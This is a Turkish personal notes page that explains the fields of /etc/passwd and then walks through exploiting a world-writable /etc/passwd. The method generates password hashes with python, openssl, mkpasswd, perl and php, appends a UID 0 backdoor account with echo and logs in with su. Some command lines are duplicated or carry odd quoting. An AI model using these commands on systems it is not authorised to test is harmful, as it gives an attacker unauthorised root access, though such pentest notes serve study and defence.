Editing /etc/passwd
/etc/passwd Dosya içeriği iki nokta üstüste (“:”) karakteri ile ayrılmış olarak 7 kolondan oluşur.

kullanıcı ismi oturum açarken kullanılır.
x olan yer kullanıcı hesabının parolasının özetlenmiş halidir. Eski işletim sistemlerinde tutulurdu burada bu dosyayı herkes okuyabildiği için artık burada değil /etc/shadow altında tutuluyor. Diğer türlü bu hasheri alıp brute force yapıyorlar.
Kullanıcı hesabının id değeri. “root” kullanıcı hesabının UID değeri 0 olacak şekilde, bazı ön tanımlı kullanıcı hesaplarınki 1-99 arasında olacak şekilde, yönetimsel/sistemsel hesaplarun ve gruplarınki ise 100-999 arasında olacak şekilde ayrılmıştır. Sonradan oluşturulan kullanıcı tanımlı hesapların UID değeri ise 1000 ve sonrası olacak şekilde otomatik olarak belirlenmektedir.
Kullanıcı hesabının birincil grubuna ait ID değeridir. Bu değer /etc/group dosyasında depolanmaktadır.
Kullanıcının gerçek adı.
/home/kali kullanıcının oturum açtıktan sonra düşeceği ev dizinidir.
Kullanıcının oturum açarken çalışacak komuttur. Bu değer genellikle kabuk verilir ve kullanıcının komut çalıştırabileceği bir ortam hazırlanmış olur. Bunun yanında bin/false, sbin/false, bin/nologin, sbin/nologin, /usr/sbin/nologin,… gibi kabuklar etkileşimli oturum açılması istenmeyen hesaplar için kullanılır.
Yazılabilir /etc/passwd İstismarı

Görsel de görüldüğü gibi yalnızca root tarafından yazılabilmektedir. Yani izinler 644'dür. Eğer 646 olsaydı kullanıcılar tarafından da yazılabilir durumda olacaktı.
İçeriği her kullanıcı tarafından değiştirilebilir olarak ayarlanmış olan /etc/passwd dosyasına yeni bir kullanıcı hesabı olarak aşağıdaki satır eklenerek, bu kullanıcı ile oturum açılmaya çalışılabilir.
YeniHesap:x:1001:1001:,,,:/home/YeniHesap:/bin/bash
Bu kullanıcının yetkisinin “root” gibi olmasının sağlanması için “root” kullanıcısı ile aynı olacak şekilde kullanıcı ID değeri (“0”), grup ID değeri (“0”), ev dizini bilgisi (“/root”),… ayarlanabilir.
YeniHesap:x:0:0:,,,:/root:/bin/bash
/etc/passwd Dosyasında Kullanıcıyı Manuel Olarak Düzenleme
user1:*:1001:1003:,,,:/home/user1:/bin/bash
diye bir kullanıcı var bunu kopyalayıp aşağıda ki gibi yapıştırırsak farklı bir kullanıcı daha olumuş olur.
user2:*:1002:1003:,,,:/home/user2:/bin/bash
Şimdi passwd komutu ile user2 için bir şifre belirleyin ve şifreyi girin.
passwd user2
Ayrıca oturum açma sırasında parola kontrolünün /etc/shadow dosyasından değil, /etc/passwd dosyasından yapılması için (normalde “x” olarak bırakılan) ikinci sütuna özetlenmiş parola bilgisi girilebilecektir. Parolanın saklanacağı metod MD5, SHA-256, SHA-512,… olabilir. Bir kullanıcı oluşturulurken, /etc/shadow dosyasında parolanın nasıl saklanacağı /etc/login.defs dosyasında belirtilmiştir.
cat /etc/login.defs | grep ENCRYPT_METHOD

Python Kullanarak Hash Değeri Üretme
Hash değerini almak için python kodu kullanılabilir.
python -c ‘import crypt; print crypt.crypt(“Parola123”, “$6$TuzDegeri$”)’
Böylece çıkan değer “x” ile belirtilen yere eklenebilir.
YeniHesap:$6$TuzDegeri$fp2SDDsBrZL1s97kLVqmwbcJukabnRcHpYgD2mJvQd50ppY0K/MUjwz3YKuxLzxyOq/T4J5JnsaCuy7J2u8Ox0:0:0:,,,:/root:/bin/bash
Openssl Kullanarak Hash Değeri Üretme
Bunun yanında Python betiği yerine “openssl” aracı ile de yeni bir parola özeti oluşturulabilir. Ayrıca SHA-512 yerine MD5 gibi diğer özetleme algoritmaları da kullanılabilir.
openssl passwd -1 -salt user3 pass123

Hashlenmiş şifreyi alacağız, bundan sonra terminalde nano ile /passwd dosyasını açın ve kullanıcı adını manuel olarak ekleyin. Manuel olarak yeni kullanıcı "user3" ekleme adımını izleyin ve parola için * veya X yerine şifrelenmiş değeri yapıştırın.
Not: Daha kısa yöntem olarak tuzsuz da parola oluşturulabilir.
openssl passwd Parola123
Böylece çıkan değer “x” ile belirtilen yere eklenebilir.
YeniHesap:$1$TuzEki$bSynt.S1Rbk7t6MNELmxR0:0:0:,,,:/root:/bin/bash
Mkpasswd Kullanarak Hash Değeri Üretme
Paket yüklü ise “mkpasswd” aracı ile de parola özeti oluşturulabilirdi.
Syntax: mkpasswd -m [hash type] {password}
mkpasswd -m SHA-512 pass
Perl Kullanarak Hash Değeri Üretme
perl -le 'print crypt("pass123", "abc")'
PHP Kullanarak Hash Değeri Üretme
php -r "print(crypt('aarti','123') . \"\n\");"
Elde edilen satır /etc/passwd dosyasına eklenmeya hazırdır. Bu amaçla “echo” komutu ve “$” karakterlerini kullanmak için de “\” ayıracı kullanılabilir.
echo “YeniHesap:$1$TuzEki$bSynt.S1Rbk7t6MNELmxR0:0:0:,,,:/root:/bin/bash” echo “YeniHesap:\$1\$TuzEki\$bSynt.S1Rbk7t6MNELmxR0:0:0:,,,:/root:/bin/bash” echo “YeniHesap:\$1\$TuzEki\$bSynt.S1Rbk7t6MNELmxR0:0:0:,,,:/root:/bin/bash” >> /etc/passwd tail -3 /etc/passwd
Not: Bunun yanında “vi” gibi editörler veya SCP ile dosya kopyalama gibi metodlar da kullanılabilirdi.
Böylece yeni oluşturulan kullanıcı hesabı ve “Parola123” parolası ile oturum açılabilir.
su – YeniHesap
Notlar aşağıdaki referanstan alınmıştır. Buraya konma sebebi hem elimin altında olması hem de yaznının silinmesinden ötürüdür.
Last updated